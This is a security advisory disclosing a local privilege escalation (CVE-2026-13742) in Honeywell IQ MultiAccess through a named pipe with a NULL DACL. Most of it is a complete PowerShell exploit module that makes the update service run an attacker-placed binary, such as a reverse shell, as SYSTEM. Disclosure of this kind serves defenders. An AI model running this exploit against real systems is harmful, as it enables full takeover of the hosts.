Management summary
Honeywell IQ MultiAccess was affected by a local privilege escalation vulnerability. Due to a named pipe configured with a NULL DACL, a low-privileged user was able to communicate with the IQUpdSrv service running as SYSTEM. An attacker was able to execute arbitrary code with SYSTEM privileges by supplying specially crafted data. The vendor provides patched versions which mitigate the issue.
Vendor description
"IQ MultiAccess is a highly scalable access control software solution suitable for controlling multiple locations within a company or several companies within a building complex/business park."
Source: https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess
Business recommendation
The vendor provides patched versions which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Local Privilege Escalation (CVE-2026-13742)
Due to a named pipe configured with a NULL DACL a low-privileged user can use the pipe to communicate with the IQUpdSrv service running as SYSTEM. When providing specific data over the pipe, arbitrary executables can be executed with SYSTEM rights.
Proof of concept
1) Local Privilege Escalation (CVE-2026-13742)
The PoC PS-Script connects to the named pipe and sends the following commands:
- SET SERVERIP "127.0.0.1"
- Configure IP. The IP itself is not important because the goal is to timeout the connection.
- SET SERVERPORT "9998"
- SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"
- SET FNAME "C:\Temp\SETUPVPS.EXE"
- Path and filename of the file which should be executed by IQUpdSrv to perform an update.
- If the file is present, C:\Windows\Temp will be used and the behavior can NOT be exploited.
- The file will be created with size 0 bytes.
- DO DOWNLOAD
- IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).
Then the file C:\Temp\SETUPVPS.EXE will be deleted.
- //Local command: Copy Reverse Shell Server_31337.exe to C:\Temp\SETUPVPS.EXE
- So the file is present even though IQUpdSrv thinks it is deleted.
- DO EXECUTE
- IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.
```
<#
.SYNOPSIS
Communicates with named pipe "iqupdsrvpipe" to trigger download + execution of SETUPVPS.EXE
.DESCRIPTION
Sends commands via named pipe → waits → copies temp file to destination (without renaming),
then sends execute command.
Old destination file is removed; old temp file is NOT removed.
.PARAMETER DestFile
Final path where the file should end up
Default: "C:\Temp\SETUPVPS.EXE"
.PARAMETER TempFile
Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)
Default: "C:\Temp\_SETUPVPS.EXE"
.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)
Default: "127.0.0.1"
.PARAMETER ServerPort (can be arbitrary)
Default: "9998"
.PARAMETER ConnectTimeoutSeconds
Default: 10
.PARAMETER WaitAfterDownloadSeconds
Default: 15
.EXAMPLE
Import-Module .\Invoke-IQExploit.psm1 -Force
Invoke-IQExploit
#>
function Invoke-IQExploit {
[CmdletBinding()]
param(
[string]$DestFile = "C:\Temp\SETUPVPS.EXE",
[string]$TempFile = "C:\Temp\_SETUPVPS.EXE",
[string]$ServerIp = "127.0.0.1",
[string]$ServerPort = "9998",
[int]$ConnectTimeoutSeconds = 10,
[int]$WaitAfterDownloadSeconds = 15
)
$DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)
$TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)
Write-Host "`nInvoke-IQExploit started" -ForegroundColor DarkCyan
Write-Host " Final destination : $DestFile"
Write-Host " e.g. Reverse Shell: $TempFile"
Write-Host " Wait after download: $WaitAfterDownloadSeconds seconds"
Write-Host ""
if (Test-Path $DestFile) {
Write-Host "Removing old destination file to prevent execution from C:\Windows\Temp" -ForegroundColor DarkYellow
Remove-Item $DestFile -Force -ErrorAction SilentlyContinue
}
else {
Write-Host "No existing destination file to remove." -ForegroundColor DarkGray
}
$pipe = $null
$sw = $null
try {
Write-Host "Connecting to \\.\pipe\iqupdsrvpipe ..." -ForegroundColor Cyan
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "iqupdsrvpipe", "InOut")
$pipe.Connect($ConnectTimeoutSeconds * 1000)
if (-not $pipe.IsConnected) {
throw "Pipe connection timeout after $ConnectTimeoutSeconds seconds"
}
Write-Host "Connected." -ForegroundColor Green
$sw = New-Object System.IO.StreamWriter($pipe)
$sw.AutoFlush = $true
$commands = @(
"SET SERVERIP `"$ServerIp`"",
"SET SERVERPORT `"$ServerPort`"",
'SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"',
"SET FNAME `"$DestFile`"",
"DO DOWNLOAD"
)
foreach ($cmd in $commands) {
Write-Host "Sending: $cmd" -ForegroundColor Gray
$sw.WriteLine($cmd)
Start-Sleep -Milliseconds 350
}
Write-Host "`nDownload command sent." -ForegroundColor Yellow
Write-Host "Waiting $WaitAfterDownloadSeconds seconds for file to appear at:" -ForegroundColor Yellow
Write-Host " $TempFile" -ForegroundColor Yellow
Start-Sleep -Seconds $WaitAfterDownloadSeconds
Write-Host "`nWait finished. Checking temp file..." -ForegroundColor Cyan
if (Test-Path $TempFile) {
Write-Host "Temp file found copying to destination" -ForegroundColor Green
Copy-Item -Path $TempFile -Destination $DestFile -Force
Write-Host "Copy completed to $DestFile" -ForegroundColor Green
}
else {
Write-Warning "No Temp file found at: $TempFile"
Write-Warning "Create a binary which should be invoked as SYSTEM at: $TempFile."
}
Write-Host "Sending DO EXECUTE..." -ForegroundColor Cyan
$sw.WriteLine("DO EXECUTE")
Write-Host "Executing $DestFile as SYSTEM." -ForegroundColor Green
}
catch {
Write-Error "Error: $($_.Exception.Message)"
}
finally {
if ($sw) { $sw.Dispose() | Out-Null }
if ($pipe) { $pipe.Dispose() | Out-Null }
Write-Host "`nOperation finished." -ForegroundColor DarkGray
}
}
Export-ModuleMember -Function Invoke-IQExploit
```Vulnerable / tested versions
The following version has been tested and verified to be vulnerable:
- IQ MultiAccess IQ.V27
According to the vendor, the versions V27 as well as V28 before SP1 are affected.